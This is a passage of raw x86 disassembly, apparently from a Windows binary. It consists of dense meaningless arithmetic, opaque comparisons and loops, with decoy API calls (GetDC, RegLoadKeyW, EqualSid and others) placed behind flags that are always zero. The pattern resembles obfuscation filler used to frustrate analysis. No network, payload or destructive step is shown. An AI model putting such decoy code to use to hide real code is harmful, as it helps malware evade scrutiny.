mov dword [ebp - 0x858], 1
jmp 0x402668
and dword [ebp - 0x858], 0
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x668]
call fcn.0040f321
mov esi, eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x668]
call fcn.0040f321
mov ecx, dword [esi]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x858]
jl 0x40269e
mov dword [ebp - 0xe78], 1
jmp 0x4026a5
and dword [ebp - 0xe78], 0
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x668]
call fcn.0040f321
mov esi, dword [ebp - 0xe78]
sub esi, dword [eax]
push 3
lea ecx, [ebp - 0x668]
call fcn.0040f321
cmp esi, dword [eax]
jl 0x4026d8
mov dword [ebp - 0x860], 1
jmp 0x4026df
and dword [ebp - 0x860], 0
cmp dword [ebp - 0x860], 0xfffb
jae 0x4026f7
mov dword [ebp - 0xe80], 1
jmp 0x4026fe
and dword [ebp - 0xe80], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe80]
mov dword [ebp + eax - 0x1214], ecx
jmp 0x4025c8
cmp dword [ebp - 0x2c], 0
jne 0x40273a
push 0
lea ecx, [ebp - 0x668]
call fcn.0040f321
cmp dword [eax], 0xf876
je 0x40273a
and dword [ebp - 0x868], 0
jmp 0x402744
mov dword [ebp - 0x868], 1
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x868], eax
jge 0x40275b
mov dword [ebp - 0xe88], 1
jmp 0x402762
and dword [ebp - 0xe88], 0
mov eax, dword [ebp - 0xe88]
mov dword [ebp - 0x121c], eax
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x60], eax
jne 0x402782
mov dword [ebp - 0x870], 1
jmp 0x402789
and dword [ebp - 0x870], 0
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x668]
call fcn.0040f321
mov esi, eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x668]
call fcn.0040f321
mov ecx, dword [ebp - 0x870]
sub ecx, dword [eax]
mov eax, dword [esi]
sub eax, ecx
imul eax, eax, 0x925d
mov ecx, dword [ebp - 0x60]
lea esi, [eax + ecx + 0xfff7]
push 1
lea ecx, [ebp - 0x668]
call fcn.0040f321
sub esi, dword [eax]
mov dword [ebp - 0xe90], esi
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0xe90], eax
jle 0x4027ef
mov dword [ebp - 0x878], 1
jmp 0x4027f6
and dword [ebp - 0x878], 0
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x668]
call fcn.0040f321
mov esi, dword [eax]
add esi, dword [ebp - 0x878]
push 1
lea ecx, [ebp - 0x668]
call fcn.0040f321
add esi, dword [eax]
cmp esi, 0x874d
jne 0x40282f
mov dword [ebp - 0xe98], 1
jmp 0x402836
and dword [ebp - 0xe98], 0
cmp dword [ebp - 0xe98], 0xfff6
jne 0x40284e
mov dword [ebp - 0x880], 1
jmp 0x402855
and dword [ebp - 0x880], 0
mov eax, dword [ebp - 0x880]
mov dword [ebp - 0x60], eax
jmp 0x4025a7
lea ecx, [ebp - 0x668]
call fcn.0040f305
mov dword [ebp - 0x18f4], 8
mov dword [ebp - 0x18f0], 8
mov dword [ebp - 0x18ec], 8
mov dword [ebp - 0x18e8], 8
mov byte [ebp - 0x291], 0
movzx eax, byte [ebp - 0x291]
test eax, eax
je 0x4028b5
push 0x2147
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov byte [ebp - 0x19a], 0
movzx eax, byte [ebp - 0x19a]
test eax, eax
je 0x4028d6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
mov byte [ebp - 0x19c], 0
mov dword [ebp - 0x3c], 0xe8cff0ea
mov dword [ebp - 0x388], 0xffd81438
mov dword [ebp - 0x748], 0
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x3c], 0
jmp 0x402912
mov eax, dword [ebp - 0x3c]
dec eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffe3
jne 0x402961
mov dword [ebp - 0x54c], 0
jmp 0x402931
mov eax, dword [ebp - 0x54c]
inc eax
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 2
jge 0x40294d
mov eax, dword [ebp - 0x54c]
mov dword [ebp + eax*4 - 0x1748], 0x8f8
jmp 0x402924
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1748], 0
je 0x40295f
jmp 0x402961
jmp 0x40290b
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x196c], eax
cmp dword [ebp - 0x3c], 0
je 0x402982
cmp dword [ebp - 0x3c], 0
je 0x402982
mov dword [ebp - 0xea0], 1
jmp 0x402989
and dword [ebp - 0xea0], 0
mov eax, dword [ebp - 0xea0]
mov dword [ebp - 0x388], eax
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x748], eax
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x444], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x17c0], eax
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x18b0], eax
mov eax, dword [ebp - 0x748]
cmp dword [ebp - 0x3c], eax
jle 0x4029d9
mov dword [ebp - 0x888], 1
jmp 0x4029e0
and dword [ebp - 0x888], 0
cmp dword [ebp - 0x888], 4
jne 0x4029f5
mov dword [ebp - 0xea8], 1
jmp 0x4029fc
and dword [ebp - 0xea8], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0xea8], eax
jle 0x402a13
mov dword [ebp - 0x1224], 1
jmp 0x402a1a
and dword [ebp - 0x1224], 0
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x17c8], eax
mov eax, dword [ebp - 0x388]
sub eax, 0xec58
cmp eax, 0xc57f
jge 0x402a44
mov dword [ebp - 0x890], 1
jmp 0x402a4b
and dword [ebp - 0x890], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x890], eax
jl 0x402a62
mov dword [ebp - 0x122c], 1
jmp 0x402a69
and dword [ebp - 0x122c], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x193c], eax
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x444], eax
jne 0x402aa3
mov byte [ebp - 0x1e1], 0
movzx eax, byte [ebp - 0x1e1]
test eax, eax
je 0x402a9e
push 0
push 0xd0f
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
jmp 0x402b63
mov dword [ebp - 0x1234], 0x4a6b2c4e
push 4
lea ecx, [ebp - 0x1540]
call fcn.0040f233
mov dword [ebp - 0x123c], 0x1636717b
mov dword [ebp - 0x5d4], 0
jmp 0x402add
mov eax, dword [ebp - 0x5d4]
inc eax
mov dword [ebp - 0x5d4], eax
cmp dword [ebp - 0x5d4], 4
jge 0x402aff
push dword [ebp - 0x5d4]
lea ecx, [ebp - 0x1540]
call fcn.0040f321
mov dword [eax], 1
jmp 0x402ad0
mov eax, dword [ebp - 0x1234]
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0xfffffff7
je 0x402b20
mov dword [ebp - 0xeb0], 1
jmp 0x402b27
and dword [ebp - 0xeb0], 0
imul eax, dword [ebp - 0xeb0], 0xa8db
mov dword [ebp - 0x898], eax
push 1
lea ecx, [ebp - 0x1540]
call fcn.0040f321
mov ecx, dword [ebp - 0x898]
mov dword [eax], ecx
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x123c], eax
lea ecx, [ebp - 0x1540]
call fcn.0040f305
movzx eax, byte [ebp - 0x19c]
test eax, eax
je 0x402c2f
mov dword [ebp - 0x554], 0xfffffffc
mov dword [ebp - 0x44c], 0
jmp 0x402b95
mov eax, dword [ebp - 0x44c]
inc eax
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 2
jge 0x402bb1
mov eax, dword [ebp - 0x44c]
mov dword [ebp + eax*4 - 0x1a44], 0
jmp 0x402b88
mov byte [ebp - 0x241], 0
movzx eax, byte [ebp - 0x241]
test eax, eax
je 0x402bd2
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov dword [ebp - 0x554], 0
jmp 0x402beb
mov eax, dword [ebp - 0x554]
inc eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 1
jg 0x402c23
mov byte [ebp - 0x19e], 0
movzx eax, byte [ebp - 0x19e]
test eax, eax
je 0x402c21
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x402bde
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
jmp 0x401fef
jmp 0x401a91
lea ecx, [ebp - 0x15a0]
call fcn.0040f305
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x125c], 0xb21a35ca
mov dword [ebp - 0x7c], 0xfffffff0
jmp 0x402c65
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xe
jne 0x402c80
mov dword [ebp - 0x1244], 0x33992443
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1244], eax
jmp 0x402c5e
mov dword [ebp - 0x7c], 0
jmp 0x402c90
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xfffffffc
je 0x402cc2
mov dword [ebp - 0x124c], 0xe53e58bf
mov dword [ebp - 0x1254], 0xd2703d9b
mov eax, dword [ebp - 0x124c]
mov dword [ebp - 0x1254], eax
mov dword [ebp - 0x125c], 4
jmp 0x402c89
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x3b8], 0xe1d925b0
mov dword [ebp - 0x330], 9
mov dword [ebp - 0x2fc], 0
mov dword [ebp - 0xed8], 6
mov dword [ebp - 0x338], 1
mov dword [ebp - 0x454], 0
jmp 0x402d14
mov eax, dword [ebp - 0x454]
inc eax
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x454], 2
jge 0x402d30
mov eax, dword [ebp - 0x454]
mov dword [ebp + eax*4 - 0x1878], 0xf9e6a012
jmp 0x402d07
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3b8], eax
mov eax, dword [ebp - 0x3b8]
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xc], eax
jle 0x402d60
mov dword [ebp - 0xeb8], 1
jmp 0x402d67
and dword [ebp - 0xeb8], 0
mov eax, dword [ebp - 0x330]
cmp eax, dword [ebp - 0xeb8]
jl 0x402d81
mov dword [ebp - 0x8a8], 1
jmp 0x402d88
and dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xc], eax
jne 0x402d9c
mov dword [ebp - 0x8a0], 1
jmp 0x402da3
and dword [ebp - 0x8a0], 0
mov eax, dword [ebp - 0x8a0]
neg eax
sub eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0xc]
cmp eax, 0xbf5f
jl 0x402dc4
mov dword [ebp - 0xec0], 1
jmp 0x402dcb
and dword [ebp - 0xec0], 0
mov eax, dword [ebp - 0xec0]
mov dword [ebp - 0x2fc], eax
imul eax, dword [ebp - 0x2fc], 0xcaea
cmp eax, dword [ebp - 0xc]
jne 0x402df2
mov dword [ebp - 0xec8], 1
jmp 0x402df9
and dword [ebp - 0xec8], 0
mov eax, dword [ebp - 0x8a8]
add eax, dword [ebp - 0xec8]
cmp eax, dword [ebp - 0x330]
jg 0x402e19
mov dword [ebp - 0x8b0], 1
jmp 0x402e20
and dword [ebp - 0x8b0], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x8b0], eax
jl 0x402e3d
cmp dword [ebp - 0x3b8], 0
jne 0x402e3d
and dword [ebp - 0xed0], 0
jmp 0x402e47
mov dword [ebp - 0xed0], 1
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xed0], eax
jne 0x402e5e
mov dword [ebp - 0x8b8], 1
jmp 0x402e65
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0x8b8]
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x330]
neg eax
mov dword [ebp - 0xed8], eax
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xed8], eax
jge 0x402ea2
cmp dword [ebp - 0x3b8], 0
jne 0x402ea2
cmp dword [ebp - 0xc], 0
jne 0x402ea2
and dword [ebp - 0x8c0], 0
jmp 0x402eac
mov dword [ebp - 0x8c0], 1
mov eax, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0x8c0]
sub ecx, dword [ebp - 0x338]
sub eax, ecx
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x1878]
je 0x402f2f
mov byte [ebp - 0x1e9], 0
movzx eax, byte [ebp - 0x1e9]
test eax, eax
je 0x402ef2
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov byte [ebp - 0x1a0], 0
movzx eax, byte [ebp - 0x1a0]
test eax, eax
je 0x402f2a
push 0
push 0
push 0
push 0xdef
push 0x1557
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
jmp 0x402fe3
mov dword [ebp - 0x8c8], 0
mov dword [ebp - 0x2fc], 0
jmp 0x402f52
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x18
jge 0x402fe3
mov dword [ebp - 0xee0], 9
mov dword [ebp - 0x17d0], 0xffffffff
mov dword [ebp - 0x338], 0xfffffff9
jmp 0x402f8c
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 2
jge 0x402fd1
mov dword [ebp - 0x1264], 0xfffffff7
mov dword [ebp - 0xc], 0
jmp 0x402faf
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jg 0x402fc4
mov eax, dword [ebp - 0xee0]
dec eax
mov dword [ebp - 0xee0], eax
jmp 0x402fa8
cmp dword [ebp - 0x1264], 0
je 0x402fcf
jmp 0x402fd1
jmp 0x402f7f
mov eax, dword [ebp - 0x8c8]
dec eax
mov dword [ebp - 0x8c8], eax
jmp 0x402f45
mov dword [ebp - 0x45c], 0xffffffff
or dword [ebp - 0x1460], 0xffffffff
or dword [ebp - 0x145c], 0xffffffff
or dword [ebp - 0x1458], 0xffffffff
or dword [ebp - 0x1454], 0xffffffff
lea ecx, [ebp - 0x719]
call fcn.0040f330
push eax
lea eax, [ebp - 0x1450]
push eax
lea eax, [ebp - 0x1460]
push eax
lea ecx, [ebp - 0x1a84]
call fcn.0040f333
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x10b0]
call fcn.0040f2df
mov dword [ebp - 0xee8], 0xb0a3531
mov dword [ebp - 0x730], 0xa13b2885
mov dword [ebp - 0x8d8], 0xb2f14481
mov dword [ebp - 0x1274], 0xe22401db
mov dword [ebp - 0x18b8], 0xffffffff
mov dword [ebp - 0xef8], 0x738f5859
mov dword [ebp - 0x634], 0
jmp 0x403093
mov eax, dword [ebp - 0x634]
inc eax
mov dword [ebp - 0x634], eax
cmp dword [ebp - 0x634], 2
jge 0x4030af
mov eax, dword [ebp - 0x634]
mov dword [ebp + eax*4 - 0x1754], 0
jmp 0x403086
cmp dword [ebp - 0x45c], 0
je 0x40318d
cmp dword [ebp - 0x45c], 0
je 0x4030e4
push 3
lea ecx, [ebp - 0x10b0]
call fcn.0040f321
cmp dword [eax], 0
je 0x4030e4
push 2
lea ecx, [ebp - 0x10b0]
call fcn.0040f321
push 3
lea ecx, [ebp - 0x10b0]
call fcn.0040f321
mov eax, dword [eax]
mov dword [ebp - 0xee8], eax
mov eax, dword [ebp - 0xee8]
mov dword [ebp - 0x730], eax
mov esi, dword [ebp - 0x730]
push 3
lea ecx, [ebp - 0x10b0]
call fcn.0040f321
cmp esi, dword [eax]
jle 0x403128
mov dword [ebp - 0x8d0], 1
jmp 0x40312f
and dword [ebp - 0x8d0], 0
push 3
lea ecx, [ebp - 0x10b0]
call fcn.0040f321
mov eax, dword [eax]
sub eax, dword [ebp - 0x8d0]
cmp eax, 0x512a
jne 0x403157
mov dword [ebp - 0xef0], 1
jmp 0x40315e
and dword [ebp - 0xef0], 0
mov esi, dword [ebp - 0x45c]
add esi, dword [ebp - 0xef0]
push 3
lea ecx, [ebp - 0x10b0]
call fcn.0040f321
add esi, dword [eax]
mov dword [ebp - 0x8d8], esi
je 0x40318d
mov dword [ebp - 0x6c8], 1
jmp 0x403194
and dword [ebp - 0x6c8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6c8]
mov dword [ebp + eax - 0x1754], ecx
cmp dword [ebp - 0x6c8], 0xbf0b
jge 0x4031bf
mov dword [ebp - 0x126c], 1
jmp 0x4031c6
and dword [ebp - 0x126c], 0
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x17d8], eax
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x1274], eax
mov eax, dword [ebp - 0xef8]
dec eax
mov dword [ebp - 0xef8], eax
lea ecx, [ebp - 0x10b0]
call fcn.0040f305
mov dword [ebp - 0x55c], 0
jmp 0x40320f
mov eax, dword [ebp - 0x55c]
inc eax
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 1
jge 0x40322b
mov eax, dword [ebp - 0x55c]
mov dword [ebp + eax*4 - 0x464], 0x4fd3df75
jmp 0x403202
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x464], 7
jmp 0x403259
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x464]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x464], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x464], 0xfffffff1
jl 0x4032ca
mov dword [ebp - 0x8e0], 1
mov dword [ebp - 0x5dc], 0
jmp 0x40328c
mov eax, dword [ebp - 0x5dc]
inc eax
mov dword [ebp - 0x5dc], eax
cmp dword [ebp - 0x5dc], 1
jge 0x4032a8
mov eax, dword [ebp - 0x5dc]
mov dword [ebp + eax*4 - 0x127c], 0xfffffffb
jmp 0x40327f
mov dword [ebp - 0x8e0], 0xa4f402e3
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8e0]
mov dword [ebp + eax - 0x127c], ecx
jmp 0x40323e
push 4
lea ecx, [ebp - 0x15b8]
call fcn.0040f233
mov dword [ebp - 0x2c4], 0xa32b1cec
mov dword [ebp - 0x46c], 0
jmp 0x4032fa
mov eax, dword [ebp - 0x46c]
inc eax
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 4
jge 0x403319
push dword [ebp - 0x46c]
lea ecx, [ebp - 0x15b8]
call fcn.0040f321
or dword [eax], 0xffffffff
jmp 0x4032ed
mov dword [ebp - 0x2c4], 3
jmp 0x403332
mov eax, dword [ebp - 0x2c4]
dec eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0
jl 0x40339e
mov dword [ebp - 0x390], 0x48f69f7f
mov dword [ebp - 0x390], 0
jmp 0x40335e
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 4
jge 0x403380
push dword [ebp - 0x390]
lea ecx, [ebp - 0x15b8]
call fcn.0040f321
mov dword [eax], 6
jmp 0x403351
mov byte [ebp - 0x271], 0
movzx eax, byte [ebp - 0x271]
test eax, eax
je 0x40339c
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x403325
mov eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x2c4], eax
lea ecx, [ebp - 0x15b8]
call fcn.0040f305
mov dword [ebp - 0x61c], 1
mov dword [ebp - 0x190c], 0x61928c17
mov dword [ebp - 0x1908], 0x61928c17
mov dword [ebp - 0x1904], 0x61928c17
mov dword [ebp - 0x1900], 0x61928c17
mov dword [ebp - 0x564], 0xffffffff
mov dword [ebp - 0x564], 0
jmp 0x40340a
mov eax, dword [ebp - 0x564]
inc eax
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 3
jg 0x403445
mov byte [ebp - 0x1a2], 0
movzx eax, byte [ebp - 0x1a2]
test eax, eax
je 0x403443
push 0xf7f
push 0x1565
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
jmp 0x4033fd
mov byte [ebp - 0x1f1], 0
movzx eax, byte [ebp - 0x1f1]
test eax, eax
je 0x403466
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 4
lea ecx, [ebp - 0x1600]
call fcn.0040f233
mov dword [ebp - 0xd0], 0
jmp 0x40348c
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x4034a8
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x10c4], 0x713b
jmp 0x40347f
mov dword [ebp - 0xd0], 0
jmp 0x4034c1
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 1
jge 0x4034dd
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x2ec], 0xd4081c29
jmp 0x4034b4
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2ec], 1
jmp 0x40350b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2ec]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2ec], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2ec], 0
jl 0x4037d8
mov dword [ebp - 0x1d8], 0
mov dword [ebp - 0x1d8], 0
jmp 0x403542
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 1
jg 0x4037d3
mov dword [ebp - 0x58], 0x59b8bc58
mov dword [ebp - 0xf10], 1
mov dword [ebp - 0xf00], 1
mov dword [ebp - 0x1360], 0x70feea3
mov dword [ebp - 0x58], 1
jmp 0x403584
mov eax, dword [ebp - 0x58]
dec eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jl 0x4037b5
mov dword [ebp - 0x1e0], 0xe8f21009
mov byte [ebp - 0x1a4], 0
movzx eax, byte [ebp - 0x1a4]
test eax, eax
je 0x4035ca
push 0
push 0xe85
push 0x12f9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
mov dword [ebp - 0x1e0], 0
jmp 0x4035e3
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 1
jg 0x4037b0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xf00], eax
cmp dword [ebp - 0xf00], 0xfffffff9
ja 0x40360e
mov dword [ebp - 0x8e8], 1
jmp 0x403615
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0x1d8]
add eax, dword [ebp - 0x8e8]
cmp eax, 0x1639956a
jle 0x403634
mov dword [ebp - 0xf08], 1
jmp 0x40363b
and dword [ebp - 0xf08], 0
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0xf08], eax
jg 0x403655
mov dword [ebp - 0x8f0], 1
jmp 0x40365c
and dword [ebp - 0x8f0], 0
cmp dword [ebp - 0x8f0], 0xe428
jg 0x403674
mov dword [ebp - 0x8f8], 1
jmp 0x40367b
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xf10], eax
mov eax, dword [ebp - 0xf10]
sub eax, dword [ebp - 0x8f8]
cmp dword [ebp - 0x1e0], eax
je 0x4036a4
mov dword [ebp - 0x1358], 1
jmp 0x4036ab
and dword [ebp - 0x1358], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x198c], eax
mov eax, dword [ebp - 0x58]
sub eax, dword [ebp - 0x1e0]
cmp eax, 0xb91300d
je 0x4036d0
mov dword [ebp - 0xf18], 1
jmp 0x4036d7
and dword [ebp - 0xf18], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2ec]
cmp dword [ebp - 0xf18], eax
jge 0x4036f8
mov dword [ebp - 0x900], 1
jmp 0x4036ff
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0x10c4]
cmp eax, dword [ebp - 0x900]
je 0x40371d
mov dword [ebp - 0xf20], 1
jmp 0x403724
and dword [ebp - 0xf20], 0
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0xf20], eax
jl 0x40373e
mov dword [ebp - 0x908], 1
jmp 0x403745
and dword [ebp - 0x908], 0
mov eax, dword [ebp - 0x1e0]
imul eax, dword [ebp - 0x908]
mov ecx, dword [ebp - 0x58]
add eax, dword [ebp + ecx*4 - 0x10c4]
cmp eax, 0x1597618d
jne 0x40376f
mov dword [ebp - 0xf28], 1
jmp 0x403776
and dword [ebp - 0xf28], 0
cmp dword [ebp - 0xf28], 0
jne 0x403798
mov eax, dword [ebp - 0x58]
cmp dword [ebp + eax*4 - 0x10c4], 0
je 0x403798
mov dword [ebp - 0x910], 1
jmp 0x40379f
and dword [ebp - 0x910], 0
mov eax, dword [ebp - 0x910]
mov dword [ebp - 0x1360], eax
jmp 0x4035d6
jmp 0x40357d
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2ec]
cmp dword [ebp + eax*4 - 0x10c4], 0
je 0x4037ce
jmp 0x4037d3
jmp 0x403535
jmp 0x4034f0
mov dword [ebp - 0x2cc], 0x6e58d020
mov dword [ebp - 0x1e8], 0x8cff0ea7
mov dword [ebp - 0x6d0], 2
mov dword [ebp - 0x1368], 0x52e4a6b2
mov byte [ebp - 0x249], 0
movzx eax, byte [ebp - 0x249]
test eax, eax
je 0x403826
push 0
push 0x1136
push 0x1646
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
mov dword [ebp - 0x1e8], 0x1a
jmp 0x40383f
mov eax, dword [ebp - 0x1e8]
dec eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0xffffffeb
jge 0x403a30
mov dword [ebp - 0x134], 0x3ee76373
mov byte [ebp - 0x1a6], 0
movzx eax, byte [ebp - 0x1a6]
test eax, eax
je 0x403879
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
cmp dword [ebp - 0x1e8], 0
jne 0x40388e
mov dword [ebp - 0x928], 1
jmp 0x403895
and dword [ebp - 0x928], 0
cmp dword [ebp - 0x134], 0xd4a55f07
je 0x4038ad
mov dword [ebp - 0x918], 1
jmp 0x4038b4
and dword [ebp - 0x918], 0
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0x134], eax
jl 0x4038cb
cmp dword [ebp - 0x134], 0
jne 0x4038dd
mov eax, 0xe2db
test eax, eax
jne 0x4038dd
and dword [ebp - 0xf30], 0
jmp 0x4038e7
mov dword [ebp - 0xf30], 1
mov eax, dword [ebp - 0x134]
cmp eax, dword [ebp - 0xf30]
jl 0x403901
mov dword [ebp - 0xf38], 1
jmp 0x403908
and dword [ebp - 0xf38], 0
mov eax, dword [ebp - 0x918]
cmp eax, dword [ebp - 0xf38]
jne 0x403922
mov dword [ebp - 0x920], 1
jmp 0x403929
and dword [ebp - 0x920], 0
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0x920], eax
jge 0x403943
mov dword [ebp - 0xf40], 1
jmp 0x40394a
and dword [ebp - 0xf40], 0
cmp dword [ebp - 0xf40], 0x856c
jl 0x403962
mov dword [ebp - 0xf48], 1
jmp 0x403969
and dword [ebp - 0xf48], 0
mov eax, dword [ebp - 0x928]
cmp eax, dword [ebp - 0xf48]
je 0x403983
mov dword [ebp - 0x930], 1
jmp 0x40398a
and dword [ebp - 0x930], 0
imul eax, dword [ebp - 0x930], 0x3989
imul eax, dword [ebp - 0x134]
add eax, dword [ebp - 0x134]
cmp eax, 1
jae 0x4039b2
mov dword [ebp - 0xf50], 1
jmp 0x4039b9
and dword [ebp - 0xf50], 0
mov eax, dword [ebp - 0x6d0]
cmp dword [ebp - 0xf50], eax
jge 0x4039d3
mov dword [ebp - 0x938], 1
jmp 0x4039da
and dword [ebp - 0x938], 0
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xd5228033
jne 0x4039f9
cmp dword [ebp - 0x6d0], 0
mov eax, 0xfff9
imul eax, eax, 0xdb88
cmp eax, dword [ebp - 0x6d0]
jge 0x403a18
mov dword [ebp - 0xf58], 1
jmp 0x403a1f
and dword [ebp - 0xf58], 0
mov eax, dword [ebp - 0xf58]
mov dword [ebp - 0x1368], eax
jmp 0x403832
mov dword [ebp - 0x474], 0
jmp 0x403a49
mov eax, dword [ebp - 0x474]
inc eax
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 4
jge 0x403a68
push dword [ebp - 0x474]
